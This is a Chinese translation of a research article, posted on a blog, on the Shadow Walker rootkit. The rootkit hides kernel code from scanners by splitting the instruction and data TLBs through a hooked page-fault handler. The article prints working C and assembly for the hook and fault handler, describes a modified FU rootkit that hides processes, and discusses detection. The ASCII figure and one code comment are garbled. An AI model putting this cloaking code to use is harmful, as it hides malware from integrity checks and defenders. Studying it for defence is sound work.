rootkit

http://www.securityfocus.com/print/infocus/1851

--[ 3 - 内存伪装的概念

一个高级rootkit的目标是隐藏自己对可执行代码的改变



(举例来说, 也就是一个内联补丁的放
置)。很明显,它也希望从(内存)视图上隐藏自己的代码段。代码段和数据段一样,位于内存中,我
们也可以定义基本的内存访问方式:

- 可执行
- 可读
- 可写

从技术角度上讲,我们知道每个虚页可以映射到一个物理页帧,它由在页表入口中的特定几位定
义。如果我们能过滤内存访问,以致于执行访问和读/写访问映射到一个不同的物理帧,那将如何呢?
从rootkit角度来说,这是很有利的。考虑这样一种内联挂钩的情况。 修改过的代码正常地运行,但
是任何读取(也就是检测)代码变化的企图都会转向到'原始'的物理帧,其中包含着一份原来的,未经
修改过的代码视图。 类似地,一个rootkit驱动可以通过把到它自己内存空间的读访问导向到包含随
机垃圾数据的页上,或者通过导向到包含另一个来自'无辜'驱动的代码视图页上,来隐藏自己。这意
味着欺骗特征扫描和和完整性监视是可行的。 事实上,Petium体系结构的结构特性为rootkit完成这
样的小诡计提供了方便,并且只会对系统的整体性能具有很小的影响。我在下一节中讨论具体细节。

----[ 3。1 - 隐藏执行代码

极具讽刺意味的是,我们将要讨论的大体方法是一个现有的防止堆栈溢出方案的进攻性扩展,该
方案称为PaX,我们将在下面的3。3节中相关工作, 概要地讨论PaX的实现。

为了隐藏执行代码, 至少有三个根本问题需要指出:

1。 我们需要一种过滤 执行访问 和 读/写访问的方法。
2。 我们需要一种"伪造"读/写内存访问的方法, 当我们检测他们时。
3。 我们需要确保性能不受负面影响。

第一个问题涉及到如何过滤读/写访问和执行访问。当虚拟内存启用时, 内存访问限制是通过设
置在页表入口的几位强制进行的, 这几位指定了一个特定的页是只读的还是可读写的。
然而在IA-32体系结构下,所有的页都是可执行的。同样地,没有一种官方的方法可以过滤读/写
访问和执行访问,因而要使这个方案工作,保持执行访问 / 转向读/写的语义操作是极其必要的。然
而我们可以通过标记 PTE 不存在和挂钩页出错处理程序来陷阱和过滤内存访问。 在页错误处理程序
中,我们可以使用保存过的指令指针(IP)和错误处理地址。如果指令指针和错误处理地址相同,那么
这就是一个执行访问。否则,这是一个读/写访问。当操作系统在内存管理中使用存在位, 我们也需
要区分我们内存挂钩过的页出错处理程序和正常的页错误处理程序。最简单的方法是需要所有的挂钩
页要么位于非分页内存或者通过像MnProbeAndLockPages的API显示地锁定。

下一个问题涉及到当我们检测它们时,如何"伪造"执行访问和读/写访问(并以最小的性能消耗完
成这些)。在这方面,Pentium的TLB体系机构前来援助。Petium分开处理TLB,一个TLB用作指令, 另
一个用作数据。正如之前提到的, 当虚拟内存启用时, TLB缓存虚拟地址到物理页帧的映射。 通常
ITLB和DTLB是同步的,对于一个给定的页保存相同的物理映射。 虽然TLB主要是由硬件控制的,但还
有几种软件控制它的机制。

- 重新导入CR3, 致使除了全局入口之外的所有的TLB入口被清除。
这样的情况典型地发生在上下文环境切换时。
- invlpg指令造成某个特定的TLB入口被清除。
- 执行数据访问指令致使DTLB被导入访问过的数据页的映射。
- 执行一个调用致使ITLB被导入包含响应这个调用所执行的代码页的映射。

我们能过滤读/写访问和执行访问并通过破坏TLB的同步访问来伪造它们,这样ITLB和DTLB保存一
个不同的从虚拟地址到物理地址的映射。这个过程演示如下:

首先,安装一个新的页出错处理程序来处理伪装的页访问。接着标志被挂钩的页不存在,也就是
通过invlpg指令清除TLB入口。 这确保了后来所有对该页的访问都将通过安装上的页出错处理程序过
滤。 在安装上的页出错处理程序中, 我们通过比较保存过的指令指针(IP)和出错处理程序地址,决
定一个特定的内存访问应属于执行访问还是读/写访问。 如果它们相匹配,内存访问属于执行访问。
否则属于读/写访问。 访问的类型决定了哪个映射手动地加载到ITLB或是DTLB。 图5提供这种策略的
概念图。

最后,需要重点指出的是TLB的访问要比执行页表查询的速度快得多。一般来说, 页出错处理是
要付出很 大代价的。所以乍看之下,标志需要隐藏的分页不存在,很明显将造成性能上的严重打击。
但事实上并不这样。虽然我们标志了需要隐藏的分页不存在,但是对于大多数的内存访问,我们并不
造成页出错处理上的性能损失,因为入口缓存都在TLB中。 当然,在标志伪装的分页不存在后发生的
首次错误处理和随后的当TLB项填满后由高速缓冲线路清除造成的页错误处理, (这两种情况)是个例
外。因此新的页错误处理程序的主要工作是明白地并且选择性地将为了隐藏分页而修改过的映射导入
DTLB或ITLB。 所有源自其他分页的错误处理请求都传递到操作系统的页错误处理程序。
+-------------+
rootkit code | FRAME 1 |
Is it a +-----------+ /------------->| |
code | | | |-------------|
access? | ITLB | | | FRAME 2 |
/------>|-----------|-----------/ | |
| | VPN=12 | |-------------|
| | Frame=1 | | FRAME 3 |
| +-----------+ | |
| +-------------+ |-------------|
MEMORY | PAGE TABLES | | FRAME 4 |
ACCESS +-------------+ | |
VPN=12 |-------------|
| | FRAME 5 |
| +-----------+ | |
| | | |-------------|
| | DTLB | random garbage | FRAME 6 | |------>|------------------------------------->| |
Is it a | VPN=12 | |-------------|
data | Frame=6 | | FRAME N |
access? +-----------+ | |
+-------------+
[ 图 5 - 通过破坏分离的TLB的同步伪造读/写访问 ]

----[ 3。2 - 隐藏纯粹数据

值得注意的是,隐藏数据的修改相对于隐藏代码的修改来说效果并不理想,但如果某人愿意接受
性能上的打击,这是可以办到的。当依靠ITLB可以维护一个与DTLB不同的映射的事实来隐藏执行代码
时,我们只造成了最少的性能损失。伴随着最少的页出错情况,代码可以执行得很快,因为映射总自
在ITLB 中存在( 除了ITLB入口从高速缓存中移除这样极少的情况)。很不幸,在隐藏数据的情况下,
我们不能引入任何这样的不一致。因为只有一个DTLB,所以如果我们要捕获和过滤特定的数据访问,
DTLB不得不清空。最后的结果是每次数据访问造成一次页出错。如果用于隐藏某个特定的驱动的话,
这不是一个大问题,只要驱动经过精心设计,使用最少的全局数据,但是当试图隐藏一个频繁访问数
据分页时,性能上的打击是不可避免的。

对于数据的隐藏,我们使用一种在隐藏驱动和内存挂钩之间基于协议的(交互)方式。我们使用这
种方法来展示某人如何在一个rootkit驱动中隐藏全局数据。为了允许内存访问通过, DTLB会在页错
误处理程序中导入。然而为了强迫得到正确的对数据访问的过滤,DTLB必须由请求的驱动立即清除,
以确保没有任何其他的代码访问那个内存空间和接受由不正确的映射所产生的数据。

访问一个隐藏分页上数据的协议描述如下:

1。 驱动将IRQL(中断请求级)提升到DISPATCH_LEVEL(以确保没有其他的代码开始运行,与"伪造"数据
的方式不同, 不可以使其他的代码看到"隐藏"的数据)

2。 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口。如果其他的进程试图访问我
们的数据分页情况下, 那么这些进程会被导向到伪造的帧(也就是我们不想得到仍然位于TLB中伪造的
映射, 所以我们就必须确保清除它)

3。 驱动允许执行数据访问。

4。 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口。(也就是真正的映射并不位
于TLB中。 我们不想其他的驱动或进程得到隐藏的映射, 所以我们清除它)。

5。 驱动降低IRQL到被提升之前的优先级。

另外的限制条件也加上:
- 没有全局数据传递到内核API函数。当调用一个API时,全局数据必须拷贝到堆栈中的局部变量存储
空间中, 再传递到API函数中。(也就是如果API访问伪装的变量, 它会得到伪造的数据, 错误地执
行)。

这个协议可以在隐藏的驱动中有效地实现,通过让驱动在例程初始化时把所有的全局变量拷贝到
局部变量, 接着在函数体执行完毕后再将数据拷回。 因为堆栈数据是通量(不断变化的状态)中的一
个定态,从堆栈中的全局数据得到可靠的特征是不太可能的。 使用这种方法, 就没有必要在每次访
问全局变量访问时制造一次页出错。一般来说,在例程初始化时把数据拷过来只需要一次页出错,在
例程结束时将数据拷回去还需要制造一次页出错。不可否认,这种方式忽略了一些涉及到多进程访问
和同步这样更复杂的问题。一种可选的方法——在驱动与页出错处理程序(PF)之间使用这个协议时,
使用单步执行指令引发内存访问。 这对于驱动来说可以少些笨重, 还可以让页出错处理程序维护对
DTLB的控制(也就是在数据访问后清除它, 以致保证它是空的)。

----{ 3。3 - 相关工作

讽刺的是, 在这篇文章中讨论的内存伪装技术起源于一个现有的称为PaX的防止堆栈溢出方案。
同样地, 我们展示了一个初衷为防御技术却用作潜在攻击的应用。(也就是利用了Pentium分隔使用
TLB的体系结构), 在PaX和使用该技术的rootkit应用之间具有微妙的差别。 然而我们进行内存伪装
的rootkit允许执行,使读/写的语义操作转向,PaX允许读/写访问,不支持执行操作。 这使得PaX可
以为在IA-32体系结构下没有可执行堆栈提供软件上的支持, 因此可以阻碍一大类的基于堆栈的缓冲
区溢出攻击。当由Pax保护的系统在一个只能读/写的内存区域中检测出一个执行企图,它就中止这个
恶意的进程。硬件对没有可执行内存的支持将会在随后的几款处理器的页表入口格式中加入,包括IA
-64和Pentium 4。与PaX相比较,我们的rootkit处理程序允许执行访问继续正常地进行,而当对隐藏
的分页进行读/写访问时, 使其转向到一个看起来清白的影子分页。最后, 应该指出的是PaX使用了
PTE的用户(user)/特权(supervisor)位来产生需要强制保护的页出错理。这仅仅限制在用户模式的页
保护,对于一个内存模式rootkit来说,这种限制是不切实际的。同样地,我们在实现中使用了PTE的
存在(present)/不存在(not present)位。

----{ 3。4 - 证明理念的实现

我们当前的实现使用一个修改过的Fu rootkit, 新的页错误处理程序称为Shadow Walker。由于
Fu为了隐藏进程改变了内核的数据结构, 并没有利用任何的代码段挂钩, 所以我们只得考虑在内存
中隐藏Fu的驱动。 对于在内部链表中的每个进程来说, 内核通过保存一个称为EPROCESS块的对象,
来说明在当前系统中所正在运行的每个进程的状况。Fu从这些链表中删去了想要隐藏的进程。

------[ 3。4。a - 修改过的FU Rootkit

我们修改了从rootkit。com拿来的当前版本的FU rootkit。 为了使它更具隐蔽性, 我们删除了
依靠于用户态启动的程序。现在,所有的启动信息都以操作系统相关偏移的形式存在,直接使用内核
态函数取得。通过移除用户态部分,我们就没有必要创建到驱动的符号连接和功能设备,这两点都会
被轻易地检测出来。一旦FU被安装,在文件系统的映像将会被删除,因此所有反病毒软件在文件系统
的扫描都无法发现它。你可以想像FU可以通过内核溢出的方式安装并导入内存,从而避免任何在磁盘
映像的检测。FU也隐藏所有名字中有前缀_fu_的进程,不管进程ID(PID)。 我们创建一个系统线程不
断地扫描这个进程链来查找这个前缀。FU和内存钩子, Shadow Walker,协同工作; 所以,FU依赖于
Shadow Walker从内存中的驱动链表中删除驱动,并且在Windows对象管理器的驱动目录中删去驱动。

----[ 3。4。b - Shadow Walker 内存挂钩引擎

Shadow Walker包含一个内存挂钩的安装模块和一个新的页出错处理程序。内存挂钩模块接受需要
隐藏分页的虚地址作为参数。 它使用包含在地址中的信息作一些安全性检查。 随后Shadow Walker通
过挂钩Int 0E(如果它之前没被安装过)安装新的页出错处理程序, 并将隐藏分页的信息插入到hash表
中, 这样在页出错时可以查找得快些。最后, 该页的PTE标志为不存在, 该隐藏分页的TLB入口被清
除。 这确保了接下来所有对该页的访问都由新的页出错处理程序过滤。

/*************************************************************************
* HookMemoryPage - Hooks a memory page by marking it not present
* and flushing any entries in the TLB。 This ensure
* that all subsequent memory accesses will generate
* page faults and be filtered by the page fault handler。
*
* Parameters:
* PVOID pExecutePage - pointer to the page that will be used on * execute access
*
* PVOID pReadWritePage - pointer to the page that will be used to load
* the DTLB on data access
*
* PVOID pfnCallIntoHookedPage - A void function which will be called
* from within the page fault handler to
* to load the ITLB on execute accesses
*
* PVOID pDriverStarts (optional) - Sets the start of the valid range
* for data accesses originating from
* within the hidden page。
*
* PVOID pDriverEnds (optional) - Sets the end of the valid range for
* data accesses originating from within
* the hidden page。
* Return - None
**************************************************************************/
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
PVOID pfnCallIntoHookedPage, PVOID pDriverStarts,
PVOID pDriverEnds )
{
HOOKED_LIST_ENTRY HookedPage = {0};
HookedPage。pExecuteView = pExecutePage;
HookedPage。pReadWriteView = pReadWritePage;
HookedPage。pfnCallIntoHookedPage = pfnCallIntoHookedPage;
if( pDriverStarts != NULL)
HookedPage。pDriverStarts = (ULONG)pDriverStarts;
else
HookedPage。pDriverStarts = (ULONG)pExecutePage;

if( pDriverEnds != NULL)
HookedPage。pDriverEnds = (ULONG)pDriverEnds;
else
{ //set by default if pDriverEnds is not specified
if( IsInLargePage( pExecutePage ) )
HookedPage。pDriverEnds =
(ULONG)HookedPage。pDriverStarts + LARGE_PAGE_SIZE;
else
HookedPage。pDriverEnds =
(ULONG)HookedPage。pDriverStarts + PAGE_SIZE;
}//end if

__asm cli //disable interrupts

if( hooked == false )
{
HookInt( &g_OldInt0EHandler,
(unsigned long)NewInt0EHandler, 0x0E );
hooked = true;
}//end if

HookedPage。pExecutePte = GetPteAddress( pExecutePage );
HookedPage。pReadWritePte = GetPteAddress( pReadWritePage );

//Insert the hooked page into the list
PushPageIntoHookedList( HookedPage );

//Enable the global page feature
EnableGlobalPageFeature( HookedPage。pExecutePte );

//Mark the page non present
MarkPageNotPresent( HookedPage。pExecutePte );

//Go ahead and flush the TLBs。 We want to guarantee that all
//subsequent accesses to this hooked page are filtered
//through our new page fault handler。
__asm invlpg pExecutePage

__asm sti //reenable interrupts
}//end HookMemoryPage

页出错处理程序的功能相对比较直接, 尽管这个主题看上去很复杂。 它主要的功能是决定一个特定的页出错是否来源于一个挂钩过的分页, 分析访问的类型, 接着导入合适的TLB。 同样地,页出错处理程序基本上有两个执行路径。 如果分页没有被挂钩, 就直接传递到操作系统的页出错处理程序。 这要决定得越快越好, 越有效越好。 如果出错来源于用户态地址, 或者处理器运行在用户态就立即传递下去。 内核态访问的命运就通过hash表的查询快速决定。 换句话说, 一旦该分页认为是挂过钩的, 将会检查访问类型并将注意力放在使用合适的TLB加载代码(执行访问让ITLB加载, 读/写访问让DTLB加载)。 TLB加载的过程如下:

1。 合适的物理帧的映射将会导入到对应于出错处理地址的PTE中
2。 页暂时标记为存在。
3。 对于一个DTLB的加载, 执行在挂钩过的内存上读操作
4。 对于一个ITLB的加载, 执行到挂钩过的页的调用。
5。 页再次标记为不存在。
6。 映射到老物理帧的PTE将会被恢复。

在TLB导入之后, 控制权直接返回到页出错处理代码。

/**************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka。 the
* guts of this whole thing ;)
*
* Parameters - none
*
* Return - none
*
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)
{
__asm
{
pushad
mov edx, dword ptr [esp+0x20] //PageFault。ErrorCode

test edx, 0x04 //if the processor was in user mode, then
jnz PassDown //pass it down

mov eax,cr2 //faulting virtual address
cmp eax, HIGHEST_USER_ADDRESS
jbe PassDown //we don't hook user pages, pass it down

////////////////////////////////////////
//Determine if it's a hooked page
/////////////////////////////////////////
push eax
call FindPageInHookedList
mov ebp, eax //pointer to HOOKED_PAGE structure
cmp ebp, ERROR_PAGE_NOT_IN_LIST
jz PassDown //it's not a hooked page

///////////////////////////////////////
//NOTE: At this point we know it's a
//hooked page。 We also only hook
//kernel mode pages which are either
//non paged or locked down in memory
//so we assume that all page tables
//are resident to resolve the address
//from here on out。
/////////////////////////////////////
mov eax, cr2
mov esi, PROCESS_PAGE_DIR_BASE
mov ebx, eax
shr ebx, 22
lea ebx, [esi + ebx*4] //ebx = pPTE for large page
test [ebx], 0x80 //check if its a large page
jnz IsLargePage

mov esi, PROCESS_PAGE_TABLE_BASE
mov ebx, eax
shr ebx, 12
lea ebx, [esi + ebx*4] //ebx = pPTE

IsLargePage:

cmp [esp+0x24], eax //Is due to an attepmted execute?
jne LoadDTLB

////////////////////////////////
// It's due to an execute。 Load
// up the ITLB。
///////////////////////////////
cli
or dword ptr [ebx], 0x01 //mark the page present
call [ebp]。pfnCallIntoHookedPage //load the itlb
and dword ptr [ebx], 0xFFFFFFFE //mark page not present
sti
jmp ReturnWithoutPassdown

////////////////////////////////
// It's due to a read /write
// Load up the DTLB
///////////////////////////////
///////////////////////////////
// Check if the read / write
// is originating from code
// on the hidden page。
///////////////////////////////
LoadDTLB:
mov edx, [esp+0x24] //eip
cmp edx,[ebp]。pDriverStarts
jb LoadFakeFrame
cmp edx,[ebp]。pDriverEnds
ja LoadFakeFrame

/////////////////////////////////
// If the read /write is originating
// from code on the hidden page,then
// let it go through。 The code on the
// hidden page will follow protocol
// to clear the TLB after the access。
////////////////////////////////
cli
or dword ptr [ebx], 0x01 //mark the page present
mov eax, dword ptr [eax] //load the DTLB
and dword ptr [ebx], 0xFFFFFFFE //mark page not present
sti
jmp ReturnWithoutPassdown

/////////////////////////////////
// We want to fake out this read
// write。 Our code is not generating
// it。
/////////////////////////////////
LoadFakeFrame:
mov esi, [ebp]。pReadWritePte
mov ecx, dword ptr [esi] //ecx = PTE of the
//read / write page

//replace the frame with the fake one
mov edi, [ebx]
and edi, 0x00000FFF //preserve the lower 12 bits of the
//faulting page's PTE
and ecx, 0xFFFFF000 //isolate the physical address in
//the "fake" page's PTE
or ecx, edi
mov edx, [ebx] //save the old PTE so we can replace it
cli
mov [ebx], ecx //replace the faulting page's phys frame
//address w/ the fake one

//load the DTLB
or dword ptr [ebx], 0x01 //mark the page present
mov eax, cr2 //faulting virtual address
mov eax, dword ptr[eax] //do data access to load DTLB
and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present

//Finally, restore the original PTE
mov [ebx], edx
sti

ReturnWithoutPassDown:
popad
add esp,4
iretd

PassDown:
popad
jmp g_OldInt0EHandler
}//end asm
}//end NewInt0E

--[ 4 - 已知的局限 & 性能上的影响

因为我们当前的rootkit只是扩展作为证明理念的展示, 而不是完整设计的攻击工具, 它具有很多实现上的局限性。 只要某个人愿意, 可以添加大部分的功能。 首先, 可以毫不费力地添加对多线程或多处理器的系统的支持。 其次, 它并不支持Pentium的PAE寻址方式, PAE寻址方式可以将物理寻址位从32位扩展到36位。 最后, 这个设计局限在只能伪装4k大小的内核模式分页(也就是在内存地址空间2G区域以上的部分)。 我们提到的4k页的局限是因为当前面对隐藏位于ntoskrnl驻留的4M分页时,所遇到的技术上的问题。 隐藏包含ntoskrnl的分页将会是值得注意的扩展。 考虑到性能, 我们还未完成严格的测试, 但是主观上来说, 在这个rootkit和内存挂钩引擎安装后, 并没有显著的性能影响。 为了得到最大的性能, 正如之前所提到的, 代码和数据应该保持在两个独立的分页中, 并且如果有人想要同时使用代码页伪装和执行页伪装, 那么全局
变量的使用应该最小化, 限制在不影响性能的前提下。

--[ 5 - 检测

为防止被检测, 至少有几个明显的必须面对的弱点。在我们现在证明理念的实现中并没有提到它们,然而, 考虑到完整性我们在此指出。 因为我们必须能够区分正常的页出错和那些与内存挂钩相关的页出错, 我们强加了挂过钩的分页必须位于不可分页内存的条件。很明显, 不存在分页在不可分页内存中存在显然就是一个异常。 然而这是否是一个充分的启动rootkit警告的启发式条件呢,这一点还在争论中。使用类似MmProbeAndLoackPages的API函数锁定可分页内存好像更具有隐蔽性。 下一个弱点在于伪装页出错处理程序的存在。 因为页出错处理程序所在的页不能被标记为不存在, 这是由于很明显的回溯重入问题, 对于简单的特征扫描来说这是一个弱点, 必须使用比较传统的方法进行混淆。因为这个例程很小, 用ASM书写并且不依赖任何内核API,所以多态将是一个理想的解决方案。 一个相关的弱点在需要伪装IDT钩子的存在时产生。由于和页出错处理程序相似的原因,我们不能使用我们的内存挂钩技术来伪装对于中断描述表(IDT)的修改。当我们使用内联挂钩而不是直接地IDT修改来挂钩页出错中断, 在包含操作系统INT 0E处理程序的页上放置内存钩子是 很有问题的, 并且内联挂钩很容易被检测。 Joanna Rutkowska 提出使用调试寄存器来隐藏IDT钩子[5],但是 Edgar Barbosa 展示了这并不是一个完全有效的解决方案[12]。这是由于调试寄存器只保护虚拟地址, 而不保护物理地址这样的事实。某人可以简单地重新映射包含IDT的物理帧到一个不同的虚拟地址, 随心所欲地读/写IDT的内存。 Shadow Walker也被这种攻击方式所击倒称为牺牲品, 同样的道理, Shadow Walker依赖于虚拟内存的利用, 而非物理内存。尽管这承认是个弱点, 但是大多数的商业安全扫描器只进行虚拟内存的扫描, 而不是进行物理内存的扫描, 这样会被像Shadow Walker一样的rootkit所玩弄。 最后, Shadow Walker 是阴险的。 即使一个扫描器检测出了Shadow Walker, 事实上也没有办法在一个运行的系统中清除它。 有没有可能成功地使用操作系统原来的页出错处理程序重写挂钩的地方呢?举例来说, 这很可能使系统蓝屏, 因为会有一些页出错发生在隐藏的分页中, 原始的页出错处理程序和系统都不知道该如何处理。

--[ 6 - 总结

Shadow Walker不是一个全副武装的攻击工具。 它的功能是有限的, 并不试图在IDT中隐藏自己的钩子或它的页出错处理代码。 它只提供一个实际的证明理念的实现, 用来破坏虚拟内存。通过颠倒一个没有可执行内存的防御性软件, 我们展示了破坏操作系统和几乎所有的安全扫描应用所依赖的虚拟地址视图是可能的。由于它利用了TLB体系结构, Shadow Walker是透明的, 表现了一个极轻量级的性能打击。 这些特性毫无疑问地为除了rootkit之外的病毒,蠕虫和间谍软件的应用提供了吸引人的解决方案。

留言

這個網誌中的熱門文章

電腦網路project